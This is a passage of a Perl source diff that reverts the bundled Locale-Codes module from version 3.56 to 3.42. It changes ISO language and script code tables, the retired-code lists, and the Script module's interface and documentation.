+      q(0302) => q(nav),
+      q(0303) => q(nbl),
+      q(0304) => q(nde),
+      q(0305) => q(ndo),
+      q(0306) => q(nds),
+      q(0307) => q(nep),
+      q(0308) => q(new),
+      q(0309) => q(nia),
+      q(0310) => q(nic),
+      q(0311) => q(niu),
+      q(0312) => q(nno),
+      q(0313) => q(nob),
+      q(0314) => q(nog),
+      q(0315) => q(non),
+      q(0316) => q(nor),
+      q(0317) => q(nqo),
+      q(0318) => q(nso),
+      q(0319) => q(nub),
+      q(0320) => q(nwc),
+      q(0321) => q(nya),
+      q(0322) => q(nym),
+      q(0323) => q(nyn),
+      q(0324) => q(nyo),
+      q(0325) => q(nzi),
+      q(0326) => q(oci),
+      q(0327) => q(oji),
+      q(0328) => q(ori),
+      q(0329) => q(orm),
+      q(0330) => q(osa),
+      q(0331) => q(oss),
+      q(0332) => q(ota),
+      q(0333) => q(oto),
+      q(0334) => q(paa),
+      q(0335) => q(pag),
+      q(0336) => q(pal),
+      q(0337) => q(pam),
+      q(0338) => q(pan),
+      q(0339) => q(pap),
+      q(0340) => q(pau),
+      q(0341) => q(peo),
+      q(0342) => q(fas),
+      q(0343) => q(phi),
+      q(0344) => q(phn),
+      q(0345) => q(pli),
+      q(0346) => q(pol),
+      q(0347) => q(pon),
+      q(0348) => q(por),
+      q(0349) => q(pra),
+      q(0350) => q(pro),
+      q(0351) => q(pus),
+      q(0352) => q(qtz),
+      q(0353) => q(que),
+      q(0354) => q(raj),
+      q(0355) => q(rap),
+      q(0356) => q(rar),
+      q(0357) => q(roa),
+      q(0358) => q(roh),
+      q(0359) => q(rom),
+      q(0360) => q(ron),
+      q(0361) => q(run),
+      q(0362) => q(rup),
+      q(0363) => q(rus),
+      q(0364) => q(sad),
+      q(0365) => q(sag),
+      q(0366) => q(sah),
+      q(0367) => q(sai),
+      q(0368) => q(sal),
+      q(0369) => q(sam),
+      q(0370) => q(san),
+      q(0371) => q(sas),
+      q(0372) => q(sat),
+      q(0373) => q(scn),
+      q(0374) => q(sco),
+      q(0375) => q(sel),
+      q(0376) => q(sem),
+      q(0377) => q(sga),
+      q(0378) => q(sgn),
+      q(0379) => q(shn),
+      q(0380) => q(sid),
+      q(0381) => q(sin),
+      q(0382) => q(sio),
+      q(0383) => q(sit),
+      q(0384) => q(sla),
+      q(0385) => q(slk),
+      q(0386) => q(slv),
+      q(0387) => q(sma),
+      q(0388) => q(sme),
+      q(0389) => q(smi),
+      q(0390) => q(smj),
+      q(0391) => q(smn),
+      q(0392) => q(smo),
+      q(0393) => q(sms),
+      q(0394) => q(sna),
+      q(0395) => q(snd),
+      q(0396) => q(snk),
+      q(0397) => q(sog),
+      q(0398) => q(som),
+      q(0399) => q(son),
+      q(0400) => q(sot),
+      q(0401) => q(spa),
+      q(0402) => q(srd),
+      q(0403) => q(srn),
+      q(0404) => q(srp),
+      q(0405) => q(srr),
+      q(0406) => q(ssa),
+      q(0407) => q(ssw),
+      q(0408) => q(suk),
+      q(0409) => q(sun),
+      q(0410) => q(sus),
+      q(0411) => q(sux),
+      q(0412) => q(swa),
+      q(0413) => q(swe),
+      q(0414) => q(syc),
+      q(0415) => q(syr),
+      q(0416) => q(tah),
+      q(0417) => q(tai),
+      q(0418) => q(tam),
+      q(0419) => q(tat),
+      q(0420) => q(tel),
+      q(0421) => q(tem),
+      q(0422) => q(ter),
+      q(0423) => q(tet),
+      q(0424) => q(tgk),
+      q(0425) => q(tgl),
+      q(0426) => q(tha),
+      q(0427) => q(bod),
+      q(0428) => q(tig),
+      q(0429) => q(tir),
+      q(0430) => q(tiv),
+      q(0431) => q(tkl),
+      q(0432) => q(tlh),
+      q(0433) => q(tli),
+      q(0434) => q(tmh),
+      q(0435) => q(tog),
+      q(0436) => q(ton),
+      q(0437) => q(tpi),
+      q(0438) => q(tsi),
+      q(0439) => q(tsn),
+      q(0440) => q(tso),
+      q(0441) => q(tuk),
+      q(0442) => q(tum),
+      q(0443) => q(tup),
+      q(0444) => q(tur),
+      q(0445) => q(tut),
+      q(0446) => q(tvl),
+      q(0447) => q(twi),
+      q(0448) => q(tyv),
+      q(0449) => q(udm),
+      q(0450) => q(uga),
+      q(0451) => q(uig),
+      q(0452) => q(ukr),
+      q(0453) => q(umb),
+      q(0454) => q(und),
+      q(0455) => q(urd),
+      q(0456) => q(uzb),
+      q(0457) => q(vai),
+      q(0458) => q(ven),
+      q(0459) => q(vie),
+      q(0460) => q(vol),
+      q(0461) => q(vot),
+      q(0462) => q(wak),
+      q(0463) => q(wal),
+      q(0464) => q(war),
+      q(0465) => q(was),
+      q(0466) => q(cym),
+      q(0467) => q(wen),
+      q(0468) => q(wln),
+      q(0469) => q(wol),
+      q(0470) => q(xal),
+      q(0471) => q(xho),
+      q(0472) => q(yao),
+      q(0473) => q(yap),
+      q(0474) => q(yid),
+      q(0475) => q(yor),
+      q(0476) => q(ypk),
+      q(0477) => q(zap),
+      q(0478) => q(zbl),
+      q(0479) => q(zen),
+      q(0480) => q(zgh),
+      q(0481) => q(zha),
+      q(0482) => q(znd),
+      q(0483) => q(zul),
+      q(0484) => q(zun),
+      q(0485) => q(zxx),
+      q(0486) => q(zza),
       },
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm
index dc866c0ed119..e2a37cf04dcc 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::Language_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'language'}{'alpha-2'}{'code'} = {
    q(in) => q(Indonesian),
@@ -67,16 +67,13 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'code'} = {
    q(ime) => q(Imeraguen),
    q(izi) => q(Izi-Ezaa-Ikwo-Mgbo),
    q(jar) => q(Jarawa (Nigeria)),
-   q(jeg) => q(Jeng),
    q(kbf) => q(Kakauhua),
    q(kdv) => q(Kado),
    q(kgc) => q(Kasseng),
-   q(kgd) => q(Kataang),
    q(kgh) => q(Upper Tanudan Kalinga),
    q(koj) => q(Sara Dunjo),
    q(kox) => q(Coxima),
    q(kpp) => q(Paku Karen),
-   q(krm) => q(Krim),
    q(ktr) => q(Kota Marudu Tinagas),
    q(kvs) => q(Kunggara),
    q(kwq) => q(Kwak),
@@ -115,18 +112,12 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'code'} = {
    q(pod) => q(Ponares),
    q(ppa) => q(Pao),
    q(ppr) => q(Piru),
-   q(prb) => q(Lua'),
    q(pry) => q(Pray 3),
-   q(puk) => q(Pu Ko),
    q(puz) => q(Purum Naga),
-   q(rie) => q(Rien),
    q(rna) => q(Runa),
-   q(rsi) => q(Rennellese Sign Language),
    q(sap) => q(Sanapana),
    q(sca) => q(Sansu),
    q(sgo) => q(Songa),
-   q(skk) => q(Sok),
-   q(snh) => q(Shinabo),
    q(svr) => q(Savara),
    q(tdu) => q(Tempasuk Dusun),
    q(tgg) => q(Tangga),
@@ -250,8 +241,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(bemba (democratic republic of congo)) => [ q(bmy), q(Bemba (Democratic Republic of Congo)) ],
    q(bhatola) => [ q(btl), q(Bhatola) ],
    q(blin) => [ q(byn), q(Blin) ],
-   q(bolo) => [ q(blv), q(Bolo) ],
-   q(bom) => [ q(bmf), q(Bom) ],
    q(borna (democratic republic of congo)) => [ q(bxx), q(Borna (Democratic Republic of Congo)) ],
    q(brek karen) => [ q(kvl), q(Brek Karen) ],
    q(burum-mindik) => [ q(bmu), q(Burum-Mindik) ],
@@ -270,7 +259,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(creoles and pidgins, french-based ) => [ q(cpf), q(Creoles and pidgins, French-based ) ],
    q(creoles and pidgins, portuguese-based ) => [ q(cpp), q(Creoles and pidgins, Portuguese-based ) ],
    q(cumeral) => [ q(cum), q(Cumeral) ],
-   q(cung) => [ q(cug), q(Cung) ],
    q(dakaka) => [ q(bpa), q(Dakaka) ],
    q(darling) => [ q(drl), q(Darling) ],
    q(daza) => [ q(dzd), q(Daza) ],
@@ -319,7 +307,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(irish, old (to 900)) => [ q(sga), q(Irish, Old (to 900)) ],
    q(izi-ezaa-ikwo-mgbo) => [ q(izi), q(Izi-Ezaa-Ikwo-Mgbo) ],
    q(jarawa (nigeria)) => [ q(jar), q(Jarawa (Nigeria)) ],
-   q(jeng) => [ q(jeg), q(Jeng) ],
    q(kabixi) => [ q(xbx), q(Kabixi) ],
    q(kachchi) => [ q(kfr), q(Kachchi) ],
    q(kadara) => [ q(kad), q(Kadara) ],
@@ -331,7 +318,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(kamba (brazil)) => [ q(xba), q(Kamba (Brazil)) ],
    q(karahawyana) => [ q(xkh), q(Karahawyana) ],
    q(kasseng) => [ q(kgc), q(Kasseng) ],
-   q(kataang) => [ q(kgd), q(Kataang) ],
    q(kayapa kallahan) => [ q(kak), q(Kayapa Kallahan) ],
    q(kemezung) => [ q(dmo), q(Kemezung) ],
    q(kenuzi-dongola) => [ q(kzh), q(Kenuzi-Dongola) ],
@@ -340,8 +326,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(kolum so dogon) => [ q(dkl), q(Kolum So Dogon) ],
    q(konkani) => [ q(kok), q(Konkani) ],
    q(kota marudu tinagas) => [ q(ktr), q(Kota Marudu Tinagas) ],
-   q(krim) => [ q(krm), q(Krim) ],
-   q(kru'ng 2) => [ q(krr), q(Kru'ng 2) ],
    q(kumak) => [ q(nee), q(Kumak) ],
    q(kuman) => [ q(kue), q(Kuman) ],
    q(kunggara) => [ q(kvs), q(Kunggara) ],
@@ -352,12 +336,10 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(lama (myanmar)) => [ q(lay), q(Lama (Myanmar)) ],
    q(lamam) => [ q(lmm), q(Lamam) ],
    q(lengua) => [ q(leg), q(Lengua) ],
-   q(lindu) => [ q(klw), q(Lindu) ],
    q(lingkhim) => [ q(lii), q(Lingkhim) ],
    q(louisiana creole french) => [ q(lou), q(Louisiana Creole French) ],
    q(lowa) => [ q(loy), q(Lowa) ],
    q(lower tanudan kalinga) => [ q(kml), q(Lower Tanudan Kalinga) ],
-   q(lua') => [ q(prb), q(Lua') ],
    q(luhu) => [ q(lcq), q(Luhu) ],
    q(mahei) => [ q(mja), q(Mahei) ],
    q(malakhel) => [ q(mld), q(Malakhel) ],
@@ -394,7 +376,6 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(nepal bhasa) => [ q(new), q(Nepal Bhasa) ],
    q(nga la) => [ q(hlt), q(Nga La) ],
    q(ngalkbun) => [ q(ngk), q(Ngalkbun) ],
-   q(ngeq) => [ q(ngt), q(Ngeq) ],
    q(ngong) => [ q(nnx), q(Ngong) ],
    q(ngura) => [ q(nbx), q(Ngura) ],
    q(nijadali) => [ q(nad), q(Nijadali) ],
@@ -411,10 +392,8 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(nung (myanmar)) => [ q(nun), q(Nung (Myanmar)) ],
    q(omati) => [ q(mgx), q(Omati) ],
    q(omejes) => [ q(ome), q(Omejes) ],
-   q(opuuo) => [ q(lgn), q(Opuuo) ],
    q(oriya (individual language)) => [ q(ory), q(Oriya (individual language)) ],
    q(ounge) => [ q(oue), q(Ounge) ],
-   q(ovdalian) => [ q(ovd), q(Ovdalian) ],
    q(palu) => [ q(pbz), q(Palu) ],
    q(palumata) => [ q(pmc), q(Palumata) ],
    q(panang) => [ q(pcr), q(Panang) ],
@@ -425,11 +404,8 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(pongyong) => [ q(pgy), q(Pongyong) ],
    q(pray 3) => [ q(pry), q(Pray 3) ],
    q(provencal, old (to 1500)) => [ q(pro), q(Provencal, Old (to 1500)) ],
-   q(pu ko) => [ q(puk), q(Pu Ko) ],
    q(purum naga) => [ q(puz), q(Purum Naga) ],
    q(pyu) => [ q(pby), q(Pyu) ],
-   q(rennellese sign language) => [ q(rsi), q(Rennellese Sign Language) ],
-   q(rien) => [ q(rie), q(Rien) ],
    q(runa) => [ q(rna), q(Runa) ],
    q(sakam) => [ q(skm), q(Sakam) ],
    q(san juan guelavia zapotec) => [ q(zab), q(San Juan Guelavia Zapotec) ],
@@ -442,9 +418,7 @@ $Locale::Codes::Retired{'language'}{'alpha-3'}{'name'} = {
    q(seraiki) => [ q(skr), q(Seraiki) ],
    q(shabo) => [ q(sbf), q(Shabo) ],
    q(shangzhai) => [ q(jih), q(Shangzhai) ],
-   q(shinabo) => [ q(snh), q(Shinabo) ],
    q(so (cameroon)) => [ q(sox), q(So (Cameroon)) ],
-   q(sok) => [ q(skk), q(Sok) ],
    q(songa) => [ q(sgo), q(Songa) ],
    q(south american indian (other)) => [ q(sai), q(South American Indian (Other)) ],
    q(south wemale) => [ q(tlw), q(South Wemale) ],
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Script.pm b/cpan/Locale-Codes/lib/Locale/Codes/Script.pm
index 1b7003f8ad21..d9c480773ff2 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Script.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Script.pm
@@ -1,94 +1,98 @@
 package Locale::Codes::Script;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::Script_Codes;
+use Locale::Codes::Script_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2script
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2script
                 script2code
                 all_script_codes
                 all_script_names
                 script_code2code
+                LOCALE_SCRIPT_ALPHA
+                LOCALE_SCRIPT_NUMERIC
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_SCRIPT);
-
-our $obj = new Locale::Codes('script');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2script {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('script',@_);
 }
 
 sub script2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('script',@_);
 }
 
 sub script_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('script',@_);
 }
 
 sub all_script_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('script',@_);
 }
 
 sub all_script_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('script',@_);
 }
 
 sub rename_script {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('script',@_);
 }
 
 sub add_script {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('script',@_);
 }
 
 sub delete_script {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('script',@_);
 }
 
 sub add_script_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('script',@_);
 }
 
 sub delete_script_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('script',@_);
 }
 
 sub rename_script_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('script',@_);
 }
 
 sub add_script_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('script',@_);
 }
 
 sub delete_script_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('script',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Script.pod b/cpan/Locale-Codes/lib/Locale/Codes/Script.pod
index 655fb4fe3c46..be91f186a059 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Script.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Script.pod
@@ -2,107 +2,92 @@
 
 =head1 NAME
 
-Locale::Codes::Script - module for dealing with script code sets
+Locale::Codes::Script - standard codes for script identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Script;
 
-   $name = code2script(CODE);
-   $code = script2code(NAME);
+   $script  = code2script('phnx');                     # 'Phoenician'
+   $code    = script2code('Phoenician');               # 'Phnx'
+   $code    = script2code('Phoenician',
+                          LOCALE_CODE_NUMERIC);        # 115
 
    @codes   = all_script_codes();
-   @names   = all_script_names();
+   @scripts = all_script_names();
 
 =head1 DESCRIPTION
 
-This module provides access to script code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standards codes used
+for identifying scripts, such as those defined in ISO 15924.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
-
-=head1 ROUTINES
-
-All routines in this module call the appropriate method in the
-L module, using an object of type: script
-Please refer to the documentation of the L module
-for details about each function.
+specifies the code set to use. If not specified, the default ISO
+15924 four-letter codes will be used.
 
-The following functions are exported automatically:
+=head1 SUPPORTED CODE SETS
 
-=over 4
+There are several different code sets you can use for identifying
+scripts. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-=item B
+For example, the two are equivalent:
 
-See B in L
+   $script = code2script('phnx','alpha');
+   $script = code2script('phnx',LOCALE_SCRIPT_ALPHA);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is a set of four-letter (capitalized) codes from ISO 15924
+such as 'Phnx' for Phoenician.  It also includes additions to this
+set included in the IANA language registry.
 
-=item B
+The Zxxx, Zyyy, and Zzzz codes are not used.
 
-See B in L
+This is the default code set.
 
-=item B
+=item B
 
-See B in L
+This is a set of three-digit numeric codes from ISO 15924 such as 115
+for Phoenician.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +99,18 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+Home page for ISO 15924.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +121,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm
index c9094c96804e..0e156c29aad3 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::Script_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:55:05 EST 2018
+#    Generated on: Tue Nov 29 15:43:53 EST 2016
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
-$Locale::Codes::Data{'script'}{'id'} = '0195';
+$Locale::Codes::Data{'script'}{'id'} = '0180';
 
 $Locale::Codes::Data{'script'}{'id2names'} = {
    q(0001) => [
@@ -58,9 +58,7 @@ $Locale::Codes::Data{'script'}{'id2names'} = {
       q(Batak),
       ],
    q(0014) => [
-      q(Bengali (Bangla)),
       q(Bengali),
-      q(Bangla),
       ],
    q(0015) => [
       q(Bhaiksuki),
@@ -105,599 +103,544 @@ $Locale::Codes::Data{'script'}{'id2names'} = {
       q(Coptic),
       ],
    q(0029) => [
-      q(Cypro-Minoan),
+      q(Cypriot),
       ],
    q(0030) => [
-      q(Cypriot syllabary),
-      ],
-   q(0031) => [
       q(Cyrillic),
       ],
-   q(0032) => [
+   q(0031) => [
       q(Cyrillic (Old Church Slavonic variant)),
       ],
-   q(0033) => [
+   q(0032) => [
       q(Devanagari (Nagari)),
       q(Devanagari),
       q(Nagari),
       ],
-   q(0034) => [
-      q(Dogra),
-      ],
-   q(0035) => [
+   q(0033) => [
       q(Deseret (Mormon)),
       q(Deseret),
       q(Mormon),
       ],
-   q(0036) => [
+   q(0034) => [
       q(Duployan shorthand, Duployan stenography),
       q(Duployan shorthand),
       q(Duployan stenography),
       ],
-   q(0037) => [
+   q(0035) => [
       q(Egyptian demotic),
       ],
-   q(0038) => [
+   q(0036) => [
       q(Egyptian hieratic),
       ],
-   q(0039) => [
+   q(0037) => [
       q(Egyptian hieroglyphs),
       ],
-   q(0040) => [
+   q(0038) => [
       q(Elbasan),
       ],
-   q(0041) => [
+   q(0039) => [
       q(Ethiopic (Geez)),
       q(Ethiopic),
       q(Ge'ez),
       ],
-   q(0042) => [
+   q(0040) => [
       q(Khutsuri (Asomtavruli and Nuskhuri)),
       ],
-   q(0043) => [
-      q(Georgian (Mkhedruli and Mtavruli)),
+   q(0041) => [
+      q(Georgian (Mkhedruli)),
       ],
-   q(0044) => [
+   q(0042) => [
       q(Glagolitic),
       ],
-   q(0045) => [
-      q(Gunjala Gondi),
-      ],
-   q(0046) => [
-      q(Masaram Gondi),
-      ],
-   q(0047) => [
+   q(0043) => [
       q(Gothic),
       ],
-   q(0048) => [
+   q(0044) => [
       q(Grantha),
       ],
-   q(0049) => [
+   q(0045) => [
       q(Greek),
       ],
-   q(0050) => [
+   q(0046) => [
       q(Gujarati),
       ],
-   q(0051) => [
+   q(0047) => [
       q(Gurmukhi),
       ],
-   q(0052) => [
+   q(0048) => [
       q(Han with Bopomofo (alias for Han + Bopomofo)),
       ],
-   q(0053) => [
+   q(0049) => [
       q(Hangul (Hangul, Hangeul)),
       q(Hangul),
       q(Hangeul),
       ],
-   q(0054) => [
+   q(0050) => [
       q(Han (Hanzi, Kanji, Hanja)),
       q(Han),
       q(Hanzi),
       q(Kanji),
       q(Hanja),
       ],
-   q(0055) => [
+   q(0051) => [
       q(Hanunoo (Hanunoo)),
       q(Hanunoo),
       ],
-   q(0056) => [
+   q(0052) => [
       q(Han (Simplified variant)),
       ],
-   q(0057) => [
+   q(0053) => [
       q(Han (Traditional variant)),
       ],
-   q(0058) => [
+   q(0054) => [
       q(Hatran),
       ],
-   q(0059) => [
+   q(0055) => [
       q(Hebrew),
       ],
-   q(0060) => [
+   q(0056) => [
       q(Hiragana),
       ],
-   q(0061) => [
+   q(0057) => [
       q(Anatolian Hieroglyphs (Luwian Hieroglyphs, Hittite Hieroglyphs)),
       q(Anatolian Hieroglyphs),
       q(Luwian Hieroglyphs),
       q(Hittite Hieroglyphs),
       ],
-   q(0062) => [
+   q(0058) => [
       q(Pahawh Hmong),
       ],
-   q(0063) => [
-      q(Nyiakeng Puachue Hmong),
-      ],
-   q(0064) => [
+   q(0059) => [
       q(Japanese syllabaries (alias for Hiragana + Katakana)),
       ],
-   q(0065) => [
+   q(0060) => [
       q(Old Hungarian (Hungarian Runic)),
       q(Old Hungarian),
       q(Hungarian Runic),
       ],
-   q(0066) => [
+   q(0061) => [
       q(Indus (Harappan)),
       q(Indus),
       q(Harappan),
       ],
-   q(0067) => [
+   q(0062) => [
       q(Old Italic (Etruscan, Oscan, etc.)),
       ],
-   q(0068) => [
+   q(0063) => [
       q(Jamo (alias for Jamo subset of Hangul)),
       ],
-   q(0069) => [
+   q(0064) => [
       q(Javanese),
       ],
-   q(0070) => [
+   q(0065) => [
       q(Japanese (alias for Han + Hiragana + Katakana)),
       ],
-   q(0071) => [
+   q(0066) => [
       q(Jurchen),
       ],
-   q(0072) => [
+   q(0067) => [
       q(Kayah Li),
       ],
-   q(0073) => [
+   q(0068) => [
       q(Katakana),
       ],
-   q(0074) => [
+   q(0069) => [
       q(Kharoshthi),
       ],
-   q(0075) => [
+   q(0070) => [
       q(Khmer),
       ],
-   q(0076) => [
+   q(0071) => [
       q(Khojki),
       ],
-   q(0077) => [
+   q(0072) => [
       q(Khitan large script),
       ],
-   q(0078) => [
+   q(0073) => [
       q(Khitan small script),
       ],
-   q(0079) => [
+   q(0074) => [
       q(Kannada),
       ],
-   q(0080) => [
+   q(0075) => [
       q(Korean (alias for Hangul + Han)),
       ],
-   q(0081) => [
+   q(0076) => [
       q(Kpelle),
       ],
-   q(0082) => [
+   q(0077) => [
       q(Kaithi),
       ],
-   q(0083) => [
+   q(0078) => [
       q(Tai Tham (Lanna)),
       q(Tai Tham),
       q(Lanna),
       ],
-   q(0084) => [
+   q(0079) => [
       q(Lao),
       ],
-   q(0085) => [
+   q(0080) => [
       q(Latin (Fraktur variant)),
       ],
-   q(0086) => [
+   q(0081) => [
       q(Latin (Gaelic variant)),
       ],
-   q(0087) => [
+   q(0082) => [
       q(Latin),
       ],
-   q(0088) => [
+   q(0083) => [
       q(Leke),
       ],
-   q(0089) => [
+   q(0084) => [
       q(Lepcha (Rong)),
       q(Lepcha),
       q(Rong),
       ],
-   q(0090) => [
+   q(0085) => [
       q(Limbu),
       ],
-   q(0091) => [
+   q(0086) => [
       q(Linear A),
       ],
-   q(0092) => [
+   q(0087) => [
       q(Linear B),
       ],
-   q(0093) => [
+   q(0088) => [
       q(Lisu (Fraser)),
       q(Lisu),
       q(Fraser),
       ],
-   q(0094) => [
+   q(0089) => [
       q(Loma),
       ],
-   q(0095) => [
+   q(0090) => [
       q(Lycian),
       ],
-   q(0096) => [
+   q(0091) => [
       q(Lydian),
       ],
-   q(0097) => [
+   q(0092) => [
       q(Mahajani),
       ],
-   q(0098) => [
-      q(Makasar),
-      ],
-   q(0099) => [
+   q(0093) => [
       q(Mandaic, Mandaean),
       q(Mandaic),
       q(Mandaean),
       ],
-   q(0100) => [
+   q(0094) => [
       q(Manichaean),
       ],
-   q(0101) => [
+   q(0095) => [
       q(Marchen),
       ],
-   q(0102) => [
+   q(0096) => [
       q(Mayan hieroglyphs),
       ],
-   q(0103) => [
-      q(Medefaidrin (Oberi Okaime, Oberi Okaime)),
-      q(Medefaidrin),
-      q(Oberi Okaime),
-      ],
-   q(0104) => [
+   q(0097) => [
       q(Mende Kikakui),
       ],
-   q(0105) => [
+   q(0098) => [
       q(Meroitic Cursive),
       ],
-   q(0106) => [
+   q(0099) => [
       q(Meroitic Hieroglyphs),
       ],
-   q(0107) => [
+   q(0100) => [
       q(Malayalam),
       ],
-   q(0108) => [
+   q(0101) => [
       q(Modi, Modi),
       q(Modi),
       ],
-   q(0109) => [
+   q(0102) => [
       q(Mongolian),
       ],
-   q(0110) => [
+   q(0103) => [
       q(Moon (Moon code, Moon script, Moon type)),
       q(Moon),
       q(Moon code),
       q(Moon script),
       q(Moon type),
       ],
-   q(0111) => [
+   q(0104) => [
       q(Mro, Mru),
       q(Mro),
       q(Mru),
       ],
-   q(0112) => [
+   q(0105) => [
       q(Meitei Mayek (Meithei, Meetei)),
       q(Meitei Mayek),
       q(Meithei),
       q(Meetei),
       ],
-   q(0113) => [
+   q(0106) => [
       q(Multani),
       ],
-   q(0114) => [
+   q(0107) => [
       q(Myanmar (Burmese)),
       q(Myanmar),
       q(Burmese),
       ],
-   q(0115) => [
+   q(0108) => [
       q(Old North Arabian (Ancient North Arabian)),
       q(Old North Arabian),
       q(Ancient North Arabian),
       ],
-   q(0116) => [
+   q(0109) => [
       q(Nabataean),
       ],
-   q(0117) => [
+   q(0110) => [
       q(Newa, Newar, Newari, Nepala lipi),
       q(Newa),
       q(Newar),
       q(Newari),
       q(Nepala lipi),
       ],
-   q(0118) => [
-      q(Naxi Dongba (Nakhi Tomba)),
-      q(Naxi Dongba),
-      q(Nakhi Tomba),
-      ],
